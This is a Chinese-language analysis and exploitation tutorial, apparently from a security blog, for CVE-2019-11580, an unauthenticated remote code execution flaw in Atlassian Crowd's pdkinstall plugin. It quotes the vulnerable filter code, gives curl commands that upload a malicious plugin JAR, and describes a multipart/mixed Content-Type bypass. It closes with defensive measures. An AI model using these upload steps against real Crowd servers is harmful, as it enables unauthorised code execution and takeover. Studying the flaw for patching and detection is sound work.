CVE-2019-11580:Atlassian Crowd RCE
字数 1240 2025-08-27 12:33:37

Atlassian Crowd RCE漏洞(CVE-2019-11580)分析与利用教程

漏洞概述

CVE-2019-11580是Atlassian Crowd和Crowd数据中心版本中的一个高危远程代码执行漏洞。该漏洞源于系统错误地启用了pdkinstall开发插件,允许攻击者通过发送特制请求安装任意插件,从而在目标系统上执行任意代码。

漏洞影响

  • 受影响产品:Atlassian Crowd和Crowd数据中心
  • 漏洞类型:远程代码执行(RCE)
  • 攻击复杂度:低
  • 认证要求:无需认证
  • CVSS评分:9.8 (Critical)

漏洞分析

漏洞根源

漏洞存在于pdkinstall插件中,该插件本应仅在开发环境中启用,但在发布版本中被错误保留。插件提供了以下关键端点:

  1. /admin/uploadplugin.action - 用于上传和安装插件
  2. /admin/plugins.action - 用于管理插件

关键代码分析

插件描述文件

atlassian-plugin.xml文件定义了插件的关键组件:

<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
    <plugin-info>
        <version>${project.version}</version>
        <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
    </plugin-info>
    
    <servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
        <url-pattern>/admin/uploadplugin.action</url-pattern>
    </servlet-filter>
    
    <servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter" location="before-decoration">
        <url-pattern>/admin/plugins.action</url-pattern>
    </servlet-filter>
    
    <servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
    <component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>

PdkInstallFilter类分析

PdkInstallFilter类的doFilter方法是漏洞利用的关键:

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    HttpServletRequest req = (HttpServletRequest) servletRequest;
    HttpServletResponse res = (HttpServletResponse) servletResponse;
    
    if (!req.getMethod().equalsIgnoreCase("post")){
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
        return;
    }
    
    File tmp = null;
    boolean isMultipart = ServletFileUpload.isMultipartContent(req);
    
    if (isMultipart){
        tmp = extractJar(req, res, tmp);
    } else {
        tmp = buildJarFromFiles(req);
    }
    
    if (tmp != null){
        List<String> errors = new ArrayList<String>();
        try {
            errors.addAll(pluginInstaller.install(tmp));
        } catch (Exception ex) {
            log.error(ex);
            errors.add(ex.getMessage());
        }
        tmp.delete();
        
        if (errors.isEmpty()) {
            res.setStatus(HttpServletResponse.SC_OK);
            servletResponse.setContentType("text/plain");
            servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
        } else {
            res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
            servletResponse.setContentType("text/plain");
            servletResponse.getWriter().println("Unable to install plugin:");
            for (String err : errors) {
                servletResponse.getWriter().println("\t - " + err);
            }
        }
        servletResponse.getWriter().close();
        return;
    }
    res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
}

extractJar方法分析

private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException {
    ServletFileUpload upload = new ServletFileUpload(factory);
    
    try {
        List<FileItem> items = upload.parseRequest(req);
        for (FileItem item : items) {
            if (item.getFieldName().startsWith("file_") && !item.isFormField()) {
                tmp = File.createTempFile("plugindev-", item.getName());
                tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
                item.write(tmp);
            }
        }
    } catch (FileUploadException e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
    } catch (Exception e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
    }
    return tmp;
}

漏洞利用

利用条件

  1. 目标系统运行易受攻击的Atlassian Crowd或Crowd数据中心版本
  2. pdkinstall插件已启用

利用步骤

第一步:验证漏洞存在

访问以下URL验证端点是否存在:

http://target-server/crowd/admin/uploadplugin.action

预期响应:400 Bad Request (表示端点存在)

第二步:准备恶意插件

  1. 创建一个简单的Atlassian插件项目
  2. 在插件中添加恶意代码(如执行系统命令的代码)
  3. 编译为JAR文件

示例恶意插件结构:

META-INF/
    MANIFEST.MF
atlassian-plugin.xml
com/
    example/
        malicious/
            MyPluginModule.class

第三步:上传插件

使用curl命令上传恶意插件:

curl -k -H "Content-Type: multipart/mixed" \
--form "file_cdl=@malicious-plugin.jar" \
http://target-server/crowd/admin/uploadplugin.action

成功响应:

Installed plugin /path/to/temp/file

第四步:触发恶意代码

根据插件实现方式,访问特定URL触发恶意代码执行。

绕过技巧

研究发现,当使用标准的multipart/form-data Content-Type时,upload.parseRequest(req)可能返回空数组。解决方法是将Content-Type改为multipart/mixed

curl -k -H "Content-Type: multipart/mixed" \
--form "file_cdl=@malicious-plugin.jar" \
http://target-server/crowd/admin/uploadplugin.action

防御措施

  1. 升级:立即升级到Atlassian发布的安全版本
  2. 禁用插件:在生产环境中禁用pdkinstall插件
  3. 访问控制:限制对Crowd管理界面的访问
  4. 网络隔离:将Crowd服务器放置在受保护的网络区域
  5. 监控:监控可疑的插件安装活动

总结

CVE-2019-11580是一个严重的远程代码执行漏洞,攻击者无需认证即可利用。漏洞根源在于开发插件被错误地保留在发布版本中,允许攻击者上传并执行任意代码。防御的关键是及时升级和严格的生产环境配置管理。

参考资源

  1. Atlassian官方安全公告
  2. pdkinstall插件源代码
  3. Atlassian SDK文档
  4. CVE-2019-11580漏洞详情
Atlassian Crowd RCE漏洞(CVE-2019-11580)分析与利用教程 漏洞概述 CVE-2019-11580是Atlassian Crowd和Crowd数据中心版本中的一个高危远程代码执行漏洞。该漏洞源于系统错误地启用了 pdkinstall 开发插件,允许攻击者通过发送特制请求安装任意插件,从而在目标系统上执行任意代码。 漏洞影响 受影响产品 :Atlassian Crowd和Crowd数据中心 漏洞类型 :远程代码执行(RCE) 攻击复杂度 :低 认证要求 :无需认证 CVSS评分 :9.8 (Critical) 漏洞分析 漏洞根源 漏洞存在于 pdkinstall 插件中,该插件本应仅在开发环境中启用,但在发布版本中被错误保留。插件提供了以下关键端点: /admin/uploadplugin.action - 用于上传和安装插件 /admin/plugins.action - 用于管理插件 关键代码分析 插件描述文件 atlassian-plugin.xml 文件定义了插件的关键组件: PdkInstallFilter类分析 PdkInstallFilter 类的 doFilter 方法是漏洞利用的关键: extractJar方法分析 漏洞利用 利用条件 目标系统运行易受攻击的Atlassian Crowd或Crowd数据中心版本 pdkinstall 插件已启用 利用步骤 第一步:验证漏洞存在 访问以下URL验证端点是否存在: 预期响应:400 Bad Request (表示端点存在) 第二步:准备恶意插件 创建一个简单的Atlassian插件项目 在插件中添加恶意代码(如执行系统命令的代码) 编译为JAR文件 示例恶意插件结构: 第三步:上传插件 使用curl命令上传恶意插件: 成功响应: 第四步:触发恶意代码 根据插件实现方式,访问特定URL触发恶意代码执行。 绕过技巧 研究发现,当使用标准的 multipart/form-data Content-Type时, upload.parseRequest(req) 可能返回空数组。解决方法是将Content-Type改为 multipart/mixed : 防御措施 升级 :立即升级到Atlassian发布的安全版本 禁用插件 :在生产环境中禁用 pdkinstall 插件 访问控制 :限制对Crowd管理界面的访问 网络隔离 :将Crowd服务器放置在受保护的网络区域 监控 :监控可疑的插件安装活动 总结 CVE-2019-11580是一个严重的远程代码执行漏洞,攻击者无需认证即可利用。漏洞根源在于开发插件被错误地保留在发布版本中,允许攻击者上传并执行任意代码。防御的关键是及时升级和严格的生产环境配置管理。 参考资源 Atlassian官方安全公告 pdkinstall插件源代码 Atlassian SDK文档 CVE-2019-11580漏洞详情